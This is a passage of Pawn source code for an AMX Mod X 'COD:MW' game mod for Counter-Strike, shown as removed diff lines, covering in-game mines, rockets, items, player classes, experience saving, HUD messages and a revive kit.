- entity_get_vector(id, EV_VEC_origin, origin);
- new ent = create_entity("info_target");
- entity_set_string(ent ,EV_SZ_classname, "Mine");
- entity_set_edict(ent ,EV_ENT_owner, id);
- entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS);
- entity_set_origin(ent, origin);
- entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
- entity_set_model(ent, "models/mine.mdl");
- entity_set_size(ent,Float:{-16.0,-16.0,0.0},Float:{16.0,16.0,2.0});
- drop_to_floor(ent);
- entity_set_float(ent,EV_FL_nextthink,halflife_time() + 0.01) ;
- set_rendering(ent,kRenderFxNone, 0,0,0, kRenderTransTexture,50) ;
- return PLUGIN_CONTINUE;
- }
- public DotykMiny(ent, id)
- {
- new attacker = entity_get_edict(ent, EV_ENT_owner);
- if (get_user_team(attacker) != get_user_team(id))
- {
- new Float:fOrigin[3], iOrigin[3];
- entity_get_vector( ent, EV_VEC_origin, fOrigin);
- iOrigin[0] = floatround(fOrigin[0]);
- iOrigin[1] = floatround(fOrigin[1]);
- iOrigin[2] = floatround(fOrigin[2]);
- message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
- write_byte(TE_EXPLOSION);
- write_coord(iOrigin[0]);
- write_coord(iOrigin[1]);
- write_coord(iOrigin[2]);
- write_short(sprite_blast);
- write_byte(32); // scale
- write_byte(20); // framerate
- write_byte(0);// flags
- message_end();
- new entlist[33];
- new numfound = find_sphere_class(ent,"player", 90.0 ,entlist, 32);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24 || klasa_gracza[id] == Doktor)
- continue;
- ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 90.0+float(inteligencja_gracza[attacker]) , 1);
- }
- remove_entity(ent);
- }
- }
- public DotykRakiety(ent)
- {
- if ( !is_valid_ent(ent))
- return;
- new attacker = entity_get_edict(ent, EV_ENT_owner);
- new Float:fOrigin[3], iOrigin[3];
- entity_get_vector( ent, EV_VEC_origin, fOrigin);
- iOrigin[0] = floatround(fOrigin[0]);
- iOrigin[1] = floatround(fOrigin[1]);
- iOrigin[2] = floatround(fOrigin[2]);
- message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
- write_byte(TE_EXPLOSION);
- write_coord(iOrigin[0]);
- write_coord(iOrigin[1]);
- write_coord(iOrigin[2]);
- write_short(sprite_blast);
- write_byte(32); // scale
- write_byte(20); // framerate
- write_byte(0);// flags
- message_end();
- new entlist[33];
- new numfound = find_sphere_class(ent, "player", 230.0, entlist, 32);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24)
- continue;
- ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 55.0+float(inteligencja_gracza[attacker]) , 1);
- }
- remove_entity(ent);
- }
- public CurWeapon(id)
- {
- if(freezetime || !klasa_gracza[id])
- return PLUGIN_CONTINUE;
- new weapon = read_data(2);
- if(informacje_przedmiotu_gracza[id][0] == 68 && maxClip[weapon] != -1)
- set_user_clip(id, maxClip[weapon]);
- UstawSzybkosc(id);
- if(informacje_przedmiotu_gracza[id][0] == 82 && weapon != CSW_KNIFE)
- engclient_cmd(id, "weapon_knife");
- if(informacje_przedmiotu_gracza[id][0] == 78)
- {
- if(weapon == CSW_KNIFE)
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 8);
- else
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255);
- }
- if(klasa_gracza[id] == Samuraj)
- {
- if(weapon == CSW_KNIFE)
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 122);
- else
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255);
- }
- if(weapon == CSW_C4)
- podkladajacy = id;
- return PLUGIN_CONTINUE;
- }
- public EmitSound(id, iChannel, szSound[], Float:fVol, Float:fAttn, iFlags, iPitch )
- {
- if(equal(szSound, "common/wpn_denyselect.wav"))
- {
- UzyjPrzedmiotu(id);
- return FMRES_SUPERCEDE;
- }
- return FMRES_IGNORED;
- }
- public UzyjPrzedmiotu(id)
- {
- if((informacje_przedmiotu_gracza[id][0] == 19 || informacje_przedmiotu_gracza[id][0] == 45) && informacje_przedmiotu_gracza[id][1]>0)
- {
- set_user_health(id, maksymalne_zdrowie_gracza[id]);
- informacje_przedmiotu_gracza[id][1]--;
- }
- if(informacje_przedmiotu_gracza[id][0] == 49 && informacje_przedmiotu_gracza[id][1]>0)
- {
- set_task(0.1,"clipon",id,"",0,"a",1);
- informacje_przedmiotu_gracza[id][1]--;
- }
- if(informacje_przedmiotu_gracza[id][0] == 52 && informacje_przedmiotu_gracza[id][1]>0)
- {
- set_task(0.1,"godon",id,"",0,"a",1);
- informacje_przedmiotu_gracza[id][1]--;
- }
- if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 75)
- {
- set_task(0.1,"clipon",id,"",0,"a",1);
- informacje_przedmiotu_gracza[id][1] = 0;
- }
- if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 89)
- {
- set_task(0.1,"clipon",id,"",0,"a",1);
- informacje_przedmiotu_gracza[id][1] = 0;
- }
- if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 76)
- {
- new Origin[3], DstOrigin[3];
- get_user_origin(id, Origin);
- get_user_origin(id, DstOrigin, 3);
- DstOrigin[0] += DstOrigin[0]-Origin[0] < 0 ? 50 : -50;
- DstOrigin[1] += DstOrigin[1]-Origin[1] < 0 ? 50 : -50;
- DstOrigin[2] += DstOrigin[2]-Origin[2]-50 < 0 ? 50 : -50;
- informacje_przedmiotu_gracza[id][1] = 0;
- set_user_origin(id, DstOrigin);
- }
- if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 84)
- {
- static meekstone_gracza[33];
- if(is_valid_ent(meekstone_gracza[id]))
- {
- informacje_przedmiotu_gracza[id][1] = 0;
- new Float:fOrigin[3];
- entity_get_vector(meekstone_gracza[id], EV_VEC_origin, fOrigin);
- new iOrigin[3];
- for(new i=0;i<3;i++)
- iOrigin[i] = floatround(fOrigin[i]);
- message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
- write_byte(TE_EXPLOSION);
- write_coord(iOrigin[0]);
- write_coord(iOrigin[1]);
- write_coord(iOrigin[2]);
- write_short(sprite_blast);
- write_byte(32);
- write_byte(20);
- write_byte(0);
- message_end();
- message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
- write_byte( TE_BEAMCYLINDER );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] );
- write_coord( iOrigin[2] );
- write_coord( iOrigin[0] );
- write_coord( iOrigin[1] + 250 );
- write_coord( iOrigin[2] + 250 );
- write_short( sprite_white );
- write_byte( 0 );
- write_byte( 0 );
- write_byte( 10 );
- write_byte( 10 );
- write_byte( 255 );
- write_byte( 255 );
- write_byte( 100 );
- write_byte( 100 );
- write_byte( 128 );
- write_byte( 0 );
- message_end();
- new entlist[33];
- new numfound = find_sphere_class(meekstone_gracza[id], "player", 250.0 , entlist, 32);
- for (new i=0; i < numfound; i++)
- {
- new pid = entlist[i];
- if (is_user_alive(pid) && get_user_team(id) != get_user_team(pid))
- ExecuteHam(Ham_TakeDamage, pid, meekstone_gracza[id], id, 95.0+inteligencja_gracza[id]*0.8, 1);
- }
- remove_entity(meekstone_gracza[id]);
- return PLUGIN_CONTINUE;
- }
- new Float:origin[3];
- entity_get_vector(id, EV_VEC_origin, origin);
- meekstone_gracza[id] = create_entity("info_target");
- entity_set_string(meekstone_gracza[id], EV_SZ_classname, "meekstone");
- entity_set_edict(meekstone_gracza[id], EV_ENT_owner, id);
- entity_set_int(meekstone_gracza[id], EV_INT_movetype, MOVETYPE_TOSS);
- entity_set_origin(meekstone_gracza[id], origin);
- entity_set_int(meekstone_gracza[id], EV_INT_solid, SOLID_BBOX);
- entity_set_model(meekstone_gracza[id], "models/w_backpack.mdl");
- entity_set_size(meekstone_gracza[id], Float:{-16.0,-16.0,0.0}, Float:{16.0,16.0,2.0})
- drop_to_floor(meekstone_gracza[id])
- }
- if(informacje_przedmiotu_gracza[id][0] == 87 && informacje_przedmiotu_gracza[id][1])
- {
- informacje_przedmiotu_gracza[id][1] = 0
- }
- if(informacje_przedmiotu_gracza[id][0] == 90 && !zatrzymaj_czas)
- {
- zatrzymaj_czas = id
- set_task(3.0, "Pusc")
- UsunPrzedmiot(id)
- }
- if(ilosc_apteczek_gracza[id] > 0)
- {
- StworzApteczke(id)
- }
- if(ilosc_rakiet_gracza[id] > 0)
- {
- StworzRakiete(id)
- }
- if(ilosc_min_gracza[id] > 0)
- {
- PostawMine(id)
- }
- if(ilosc_dynamitow_gracza[id] > 0)
- {
- PolozDynamit(id)
- }
- return PLUGIN_HANDLED
- }
- public Pusc()
- {
- zatrzymaj_czas = 0
- }
- public ZapiszDane(id)
- {
- new vaultkey[64],vaultdata[256];
- format(vaultkey,63,"%s-%i-cod", nazwa_gracza[id], klasa_gracza[id]);
- format(vaultdata,255,"%i#%i#%i#%i#%i#%i", doswiadczenie_gracza[id], poziom_gracza[id], inteligencja_gracza[id], zdrowie_gracza[id], wytrzymalosc_gracza[id], kondycja_gracza[id]);
- nvault_set(g_vault,vaultkey,vaultdata);
- }
- public WczytajDane(id, klasa)
- {
- new vaultkey[64],vaultdata[256];
- format(vaultkey,63,"%s-%i-cod", nazwa_gracza[id], klasa);
- format(vaultdata,255,"%i#%i#%i#%i#%i#%i", doswiadczenie_gracza[id], poziom_gracza[id], inteligencja_gracza[id], zdrowie_gracza[id], wytrzymalosc_gracza[id], kondycja_gracza[id]);
- nvault_get(g_vault,vaultkey,vaultdata,255);
- replace_all(vaultdata, 255, "#", " ");
- new doswiadczeniegracza[32], poziomgracza[32], inteligencjagracza[32], silagracza[32], zrecznoscgracza[32], zwinnoscgracza[32];
- parse(vaultdata, doswiadczeniegracza, 31, poziomgracza, 31, inteligencjagracza, 31, silagracza, 31, zrecznoscgracza, 31, zwinnoscgracza, 31);
- doswiadczenie_gracza[id] = str_to_num(doswiadczeniegracza);
- poziom_gracza[id] = str_to_num(poziomgracza)>0?str_to_num(poziomgracza):1;
- inteligencja_gracza[id] = str_to_num(inteligencjagracza);
- zdrowie_gracza[id] = str_to_num(silagracza);
- wytrzymalosc_gracza[id] = str_to_num(zrecznoscgracza);
- kondycja_gracza[id] = str_to_num(zwinnoscgracza);
- punkty_gracza[id] = (poziom_gracza[id]-1)*2-inteligencja_gracza[id]-zdrowie_gracza[id]-wytrzymalosc_gracza[id]-kondycja_gracza[id];
- }
- public WyrzucPrzedmiot(id)
- {
- if(informacje_przedmiotu_gracza[id][0])
- {
- ColorChat(id, GREEN, "[COD:MW3] ^1 Bacio si: ^3%s.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]])
- UsunPrzedmiot(id)
- }
- else
- {
- ColorChat(id, GREEN, "[COD:MW3] ^1 Nemas Nijedan Predmet")
- }
- }
- public UsunPrzedmiot(id)
- {
- informacje_przedmiotu_gracza[id][0] = 0
- informacje_przedmiotu_gracza[id][1] = 0
- if(is_user_alive(id))
- {
- set_user_footsteps(id, 0)
- if(!informacje_przedmiotu_gracza[id][0] && klasa_gracza[id] != Partizan)
- {
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
- }
- ZmienUbranie(id, 1)
- }
- }
- public DajPrzedmiot(id, przedmiot)
- {
- UsunPrzedmiot(id)
- informacje_przedmiotu_gracza[id][0] = przedmiot
- new name[32]
- get_user_name(id, name, 31)
- ColorChat(0, GREEN, "%s ^x01 Je dobio Predmet - ^x03 %s", name, nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
- wytrzymalosc_itemu[id] = 160;
- switch(przedmiot)
- {
- case 1: set_user_footsteps(id, 1);
- case 2: informacje_przedmiotu_gracza[id][1] = random_num(3,6);
- case 3: informacje_przedmiotu_gracza[id][1] = random_num(6, 11);
- case 5: informacje_przedmiotu_gracza[id][1] = random_num(6, 9);
- case 6:
- {
- informacje_przedmiotu_gracza[id][1] = random_num(120, 170);
- set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, informacje_przedmiotu_gracza[id][1]);
- }
- case 7: informacje_przedmiotu_gracza[id][1] = random_num(2, 4);
- case 8:
- {
- if(klasa_gracza[id] == Strelac)
- DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
- }
- case 9:
- {
- informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
- ZmienUbranie(id, 0);
- }
- case 10: informacje_przedmiotu_gracza[id][1] = random_num(4, 8);
- case 12: informacje_przedmiotu_gracza[id][1] = random_num(1, 4);
- case 15:
- {
- if(klasa_gracza[id] == Rambo)
- DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
- }
- case 16: set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
- case 17: set_user_armor(id, 500);
- case 18:
- {
- maksymalne_zdrowie_gracza[id] += 100;
- szybkosc_gracza[id] -= 0.4;
- }
- case 19: informacje_przedmiotu_gracza[id][1] = 1;
- case 25:
- {
- maksymalne_zdrowie_gracza[id] += 50;
- szybkosc_gracza[id] -= 0.3;
- }
- case 26: informacje_przedmiotu_gracza[id][1] = random_num(3, 6);
- case 27: informacje_przedmiotu_gracza[id][1] = 3;
- case 29:
- {
- maksymalne_zdrowie_gracza[id] += 50;
- szybkosc_gracza[id] += 0.2;
- }
- case 30:
- {
- maksymalne_zdrowie_gracza[id] += 100;
- szybkosc_gracza[id] -= 0.7;
- }
- case 31:
- {
- informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
- ZmienUbranie(id, 0);
- }
- case 34: informacje_przedmiotu_gracza[id][1] = random_num(2, 7);
- case 35: informacje_przedmiotu_gracza[id][1] = random_num(3, 9);
- case 36: maksymalne_zdrowie_gracza[id] = 10;
- case 37: maksymalne_zdrowie_gracza[id] += 100;
- case 38: ilosc_apteczek_gracza[id] = 5;
- case 39: set_user_gravity(id, 0.5);
- case 40: informacje_przedmiotu_gracza[id][1] = 1;
- case 41: set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
- case 43: szybkosc_gracza[id] += 0.3;
- case 42:
- {
- set_user_footsteps(id, 1);
- maksymalne_zdrowie_gracza[id] += 100;
- }
- case 45: informacje_przedmiotu_gracza[id][1] = 1;
- case 46:
- {
- informacje_przedmiotu_gracza[id][1] = random_num(4, 9);
- set_user_armor(id, 500);
- }
- case 47: informacje_przedmiotu_gracza[id][1] = 5;
- case 49: informacje_przedmiotu_gracza[id][1] = 1;
- case 50:
- {
- set_user_footsteps(id, 1);
- maksymalne_zdrowie_gracza[id] += 100;
- szybkosc_gracza[id] += 0.4;
- }
- case 52: informacje_przedmiotu_gracza[id][1] = 1;
- case 54:
- {
- set_user_footsteps(id, 1);
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
- set_user_gravity(id, 0.8);
- }
- case 55:
- {
- informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
- ZmienUbranie(id, 0);
- }
- case 56: informacje_przedmiotu_gracza[id][1] = random_num(7, 11);
- case 57: informacje_przedmiotu_gracza[id][1] = random_num(7, 11);
- case 58: set_user_footsteps(id, 1);
- case 59: set_user_footsteps(id, 1);
- case 60: informacje_przedmiotu_gracza[id][1] = random_num(3, 7);
- case 61: ilosc_min_gracza[id] += 5;
- case 62: informacje_przedmiotu_gracza[id][1] = random_num(4, 8);
- case 64: cs_set_user_money(id,16000);
- case 66: wytrzymalosc_itemu[id] = 80;
- case 75: informacje_przedmiotu_gracza[id][1] = 1;
- case 76: informacje_przedmiotu_gracza[id][1] = 1;
- case 78: set_user_gravity(id, 0.5);
- case 79:
- {
- szybkosc_gracza[id] += 10;
- ilosc_min_gracza[id] += 3;
- }
- case 80:
- {
- give_item(id, "weapon_m3");
- informacje_przedmiotu_gracza[id][1] = random_num(50, 100);
- }
- case 84: informacje_przedmiotu_gracza[id][1] = 1;
- case 85: ResetHUD(id);
- case 87: informacje_przedmiotu_gracza[id][1] = random_num(2, 4);
- case 89:
- {
- szybkosc_gracza[id] *= 1.8;
- UstawSzybkosc(id);
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
- give_item(id, "weapon_hegrenade");
- cs_set_user_bpammo(id, CSW_HEGRENADE, 15);
- informacje_przedmiotu_gracza[id][1] = 1;
- }
- }
- }
- public OpisPrzedmiotu(id)
- {
- new opis_przedmiotu[128];
- new losowa_wartosc[3];
- num_to_str(informacje_przedmiotu_gracza[id][1], losowa_wartosc, 2);
- format(opis_przedmiotu, 127, opisy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
- replace_all(opis_przedmiotu, 127, "LW", losowa_wartosc);
- ColorChat(id, NORMAL, "^4Predmet: ^1%s.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
- ColorChat(id, NORMAL, "^4Opis: ^1%s.", opis_przedmiotu);
- }
- public Wskrzes(id)
- {
- id-=ZADANIE_WSKRZES;
- ExecuteHamB(Ham_CS_RoundRespawn, id);
- }
- public SprawdzPoziom(id)
- {
- if(poziom_gracza[id] < 201)
- {
- while(doswiadczenie_gracza[id] >= doswiadczenie_poziomu[poziom_gracza[id]])
- {
- poziom_gracza[id]++;
- set_hudmessage(60, 200, 25, -1.0, 0.25, 0, 1.0, 2.0, 0.1, 0.2, 2);
- ShowSyncHudMsg(id, SyncHudObj3, "Dobro dosli na sledeci nivo");
- client_cmd(id, "spk mw/levelup");
- }
- while(doswiadczenie_gracza[id] < doswiadczenie_poziomu[poziom_gracza[id] - 1])
- poziom_gracza[id]--
- punkty_gracza[id] = (poziom_gracza[id]-1)*2-inteligencja_gracza[id]-zdrowie_gracza[id]-wytrzymalosc_gracza[id]-kondycja_gracza[id];
- }
- ZapiszDane(id)
- }
- public message_health(msg_id,msg_dest,msg_entity)
- {
- if(pev(msg_entity, pev_health) >= 255)
- {
- set_msg_arg_int(1, ARG_BYTE, 255)
- }
- return PLUGIN_CONTINUE
- }
- public PokazInformacje(id)
- {
- id -= ZADANIE_POKAZ_INFORMACJE
- set_task(0.1, "PokazInformacje", id + ZADANIE_POKAZ_INFORMACJE)
- if(!is_user_alive(id))
- {
- new target = entity_get_int(id, EV_INT_iuser2)
- if(target == 0)
- {
- return PLUGIN_CONTINUE
- }
- set_hudmessage(0, 255, 0, 0.6, -1.0, 0, 0.0, 0.3, 0.0, 0.0, 2);
- ShowSyncHudMsg(id, SyncHudObj, "Klasa : %s^nIskustvo : %i / %i^nLevel : %i^nPredmet : %s ^nKillStreak: x%i", nazwy_klas[klasa_gracza[target]], doswiadczenie_gracza[target], doswiadczenie_poziomu[poziom_gracza[target]], poziom_gracza[target], nazwy_przedmiotow[informacje_przedmiotu_gracza[target][0]], licznik_zabic[target]);
- return PLUGIN_CONTINUE
- }
- set_hudmessage(0, 255, 0, 0.02, 0.17, 0, 0.0, 0.3, 0.0, 0.0);
- ShowSyncHudMsg(id, SyncHudObj, "[Klasa : %s]^n[Iskustvo: %i / %i]^n[Level : %i]^n[Predmet: %s]^n[Snaga: %i]^n[Energija: %i]^n[KillStreak: x%i]", nazwy_klas[klasa_gracza[id]], doswiadczenie_gracza[id], doswiadczenie_poziomu[poziom_gracza[id]], poziom_gracza[id], nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]],wytrzymalosc_itemu[id], get_user_health(id), licznik_zabic[id]);
- return PLUGIN_CONTINUE
- }
- public PokazReklame(id)
- {
- id -= ZADANIE_POKAZ_REKLAME
- if(-1 < get_user_team(id) < 4)
- {
- ColorChat(0, GREEN, "[COD:MW] ^1Dobro Dosli Na COD:MW Mod by ^3QTM.Peyote")
- }
- }
- public UstawSzybkosc(id)
- {
- id -= id > 32 ? ZADANIE_USTAW_SZYBKOSC : 0
- if(klasa_gracza[id])
- {
- set_user_maxspeed(id, szybkosc_gracza[id])
- }
- }
- public ZmienUbranie(id,reset)
- {
- if (id < 1 || id > 32 || !is_user_connected(id))
- return PLUGIN_CONTINUE
- if (reset)
- cs_reset_user_model(id);
- else
- {
- new num = random_num(0,3);
- switch(get_user_team(id))
- {
- case 1: cs_set_user_model(id, Ubrania_CT[num]);
- case 2:cs_set_user_model(id, Ubrania_Terro[num]);
- }
- }
- return PLUGIN_CONTINUE;
- }
- public WylaczPomoc(id)
- {
- if(pomocs[id] == true)
- {
- pomocs[id] = false;
- set_hudmessage(255, 0, 0, -1.0, 0.01)
- show_hudmessage(id, "Pomoce je onemogucena")
- }
- else if(pomocs[id] == false)
- {
- pomocs[id] = true;
- Pomoc();
- set_hudmessage(255, 0, 0, -1.0, 0.01)
- show_hudmessage(id, "Pomoc Ukljucena")
- }
- }
- public Pomoc()
- {
- switch(random(8))
- {
- case 0:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da resetujes level-e,kucaj ^3/reset")
- }
- case 1:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da promenis klasu,kucaj ^3/klasa")
- }
- case 2:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da koristis predmete (mine, rakete), stisni ^3E")
- }
- case 3:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da izbacis predmet,kucaj ^3/izbaci")
- }
- case 4:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da vidis opis predmeta,kucaj ^3/predmet")
- }
- case 5:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da vidis opis klase,kucaj ^3/opis")
- }
- case 6:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Da otvoris COD:MW Shop,kucaj ^3/shop")
- }
- case 7:
- {
- ColorChat(0, GREEN, "[COD:MW3] ^1Ako zelis nekom da das predmet kucaj, ^3/daj")
- }
- }
- set_task(40.0, "Pomoc")
- }
- public cmd_setlvl(id, level, cid)
- {
- if(!cmd_access(id,level,cid,3))
- return PLUGIN_HANDLED;
- new arg1[33];
- new arg2[6];
- read_argv(1, arg1, 32);
- read_argv(2, arg2, 5);
- new player = cmd_target(id, arg1);
- if(!is_user_connected(player))
- return PLUGIN_HANDLED;
- new value = str_to_num(arg2)-1;
- doswiadczenie_gracza[player] = doswiadczenie_poziomu[value];
- poziom_gracza[player] = 0;
- SprawdzPoziom(player);
- return PLUGIN_HANDLED;
- }
- public DotykBroni(weapon,id)
- {
- new model[23];
- entity_get_string(weapon, EV_SZ_model, model, 22);
- if (!is_user_connected(id) || entity_get_edict(weapon, EV_ENT_owner) == id || equal(model, "models/w_backpack.mdl"))
- return HAM_IGNORED;
- return HAM_SUPERCEDE;
- }
- public BlokujKomende()
- return PLUGIN_HANDLED;
- stock bool:UTIL_In_FOV(id,target)
- {
- if (Find_Angle(id,target,9999.9) > 0.0)
- return true;
- return false;
- }
- stock Float:Find_Angle(Core,Target,Float:dist)
- {
- new Float:vec2LOS[2];
- new Float:flDot;
- new Float:CoreOrigin[3];
- new Float:TargetOrigin[3];
- new Float:CoreAngles[3];
- pev(Core,pev_origin,CoreOrigin);
- pev(Target,pev_origin,TargetOrigin);
- if (get_distance_f(CoreOrigin,TargetOrigin) > dist)
- return 0.0;
- pev(Core,pev_angles, CoreAngles);
- for ( new i = 0; i < 2; i++ )
- vec2LOS[i] = TargetOrigin[i] - CoreOrigin[i];
- new Float:veclength = Vec2DLength(vec2LOS);
- //Normalize V2LOS
- if (veclength <= 0.0)
- {
- vec2LOS[0] = 0.0;
- vec2LOS[1] = 0.0;
- }
- else
- {
- new Float:flLen = 1.0 / veclength;
- vec2LOS[0] = vec2LOS[0]*flLen;
- vec2LOS[1] = vec2LOS[1]*flLen;
- }
- //Do a makevector to make v_forward right
- engfunc(EngFunc_MakeVectors,CoreAngles);
- new Float:v_forward[3];
- new Float:v_forward2D[2];
- get_global_vector(GL_v_forward, v_forward);
- v_forward2D[0] = v_forward[0];
- v_forward2D[1] = v_forward[1];
- flDot = vec2LOS[0]*v_forward2D[0]+vec2LOS[1]*v_forward2D[1];
- if ( flDot > 0.5 )
- {
- return flDot;
- }
- return 0.0;
- }
- stock Float:Vec2DLength( Float:Vec[2] )
- {
- return floatsqroot(Vec[0]*Vec[0] + Vec[1]*Vec[1] );
- }
- stock Display_Fade(id,duration,holdtime,fadetype,red,green,blue,alpha)
- {
- message_begin( MSG_ONE, g_msg_screenfade,{0,0,0},id );
- write_short( duration ); // Duration of fadeout
- write_short( holdtime ); // Hold time of color
- write_short( fadetype ); // Fade type
- write_byte ( red ); // Red
- write_byte ( green ); // Green
- write_byte ( blue ); // Blue
- write_byte ( alpha ); // Alpha
- message_end();
- }
- stock set_user_clip(id, ammo)
- {
- new weaponname[32], weaponid = -1, weapon = get_user_weapon(id, _, _);
- get_weaponname(weapon, weaponname, 31);
- while ((weaponid = find_ent_by_class(weaponid, weaponname)) != 0)
- if(entity_get_edict(weaponid, EV_ENT_owner) == id)
- {
- set_pdata_int(weaponid, 51, ammo, 4);
- return weaponid;
- }
- return 0;
- }
- public client_death(killer,victim,weapon,hitplace,TK) {
- if(!killer || !victim || TK)
- return;
- if(hitplace == HIT_HEAD)
- {
- doswiadczenie_gracza[killer] += doswiadczenie_za_hs;
- ColorChat(killer, RED, "[COD:MW3] ^x01 Dobio si ^x03 %i ^x01 iskustvo jer si pogodio u glavu.", doswiadczenie_za_hs);
- }
- }
- public message_clcorpse()
- return PLUGIN_HANDLED
- public event_hltv()
- {
- remove_entity_name("fake_corpse")
- static players[32], num
- get_players(players, num, "a")
- for(new i = 0; i < num; ++i)
- reset_player(players[i])
- }
- public reset_player(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED;
- remove_task(TASKID_REVIVE + id)
- remove_task(TASKID_RESPAWN + id)
- remove_task(TASKID_CHECKRE + id)
- remove_task(TASKID_CHECKST + id)
- remove_task(TASKID_ORIGIN + id)
- remove_task(TASKID_SETUSER + id)
- msg_bartime(id, 0)
- g_revive_delay[id] = 0.0
- g_wasducking[id] = false
- g_body_origin[id] = Float:{0.0, 0.0, 0.0}
- return PLUGIN_HANDLED;
- }
- public event_death()
- {
- new id = read_data(2)
- reset_player(id)
- static Float:minsize[3]
- pev(id, pev_mins, minsize)
- if(minsize[2] == -18.0)
- g_wasducking[id] = true
- else
- g_wasducking[id] = false
- set_task(0.5, "task_check_dead_flag", id)
- if(read_data(1)<=maxplayers && read_data(1) && read_data(1)!=read_data(2)) cs_set_user_money(read_data(1),cs_get_user_money(read_data(1)) + get_pcvar_num(mkb) - 300)
- }
- public fwd_playerpostthink(id)
- {
- if(!is_user_connected(id) || !g_haskit[id])
- return FMRES_IGNORED
- if(!is_user_alive(id))
- {
- msg_statusicon(id, ICON_HIDE)
- return FMRES_IGNORED
- }
- new body = find_dead_body(id)
- if(is_valid_ent(body))
- {
- new lucky_bastard = pev(body, pev_owner)
- if(!is_user_connected(lucky_bastard))
- return FMRES_IGNORED
- new lb_team = get_user_team(lucky_bastard)
- new rev_team = get_user_team(id)
- if(lb_team == 1 || lb_team == 2 && lb_team == rev_team)
- msg_statusicon(id, ICON_FLASH)
- }
- else
- msg_statusicon(id, ICON_SHOW)
- return FMRES_IGNORED
- }
- public task_check_dead_flag(id)
- {
- if(!is_user_connected(id))
- return
- if(pev(id, pev_deadflag) == DEAD_DEAD)
- create_fake_corpse(id)
- else
- set_task(0.5, "task_check_dead_flag", id)
- }
- public create_fake_corpse(id)
- {
- set_pev(id, pev_effects, EF_NODRAW)
- static model[32]
- cs_get_user_model(id, model, 31)
- static player_model[64]
- format(player_model, 63, "models/player/%s/%s.mdl", model, model)
- static Float: player_origin[3]
- pev(id, pev_origin, player_origin)
- static Float:mins[3]
- mins[0] = -16.0
- mins[1] = -16.0
- mins[2] = -34.0
- static Float:maxs[3]
- maxs[0] = 16.0
- maxs[1] = 16.0
- maxs[2] = 34.0
- if(g_wasducking[id])
- {
- mins[2] /= 2
- maxs[2] /= 2
- }
- static Float:player_angles[3]
- pev(id, pev_angles, player_angles)
- player_angles[2] = 0.0
- new sequence = pev(id, pev_sequence)
- new ent = create_entity("info_target")
- if(ent)
- {
- set_pev(ent, pev_classname, "fake_corpse")
- engfunc(EngFunc_SetModel, ent, player_model)
- engfunc(EngFunc_SetOrigin, ent, player_origin)
- engfunc(EngFunc_SetSize, ent, mins, maxs)
- set_pev(ent, pev_solid, SOLID_TRIGGER)
- set_pev(ent, pev_movetype, MOVETYPE_TOSS)
- set_pev(ent, pev_owner, id)
- set_pev(ent, pev_angles, player_angles)
- set_pev(ent, pev_sequence, sequence)
- set_pev(ent, pev_frame, 9999.9)
- }
- }
- public fwd_emitsound(id, channel, sound[])
- {
- if(!is_user_alive(id) || !g_haskit[id])
- return FMRES_IGNORED
- if(!equali(sound, "common/wpn_denyselect.wav"))
- return FMRES_IGNORED
- if(task_exists(TASKID_REVIVE + id))
- return FMRES_IGNORED
- if(!(get_user_button(id) & IN_USE))
- {
- return FMRES_IGNORED
- }
- new body = find_dead_body(id)
- if(!is_valid_ent(body))
- return FMRES_IGNORED
- new lucky_bastard = pev(body, pev_owner)
- new lb_team = get_user_team(lucky_bastard)
- new rev_team = get_user_team(id)
- if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
- return FMRES_IGNORED
- static name[32]
- get_user_name(lucky_bastard, name, 31)
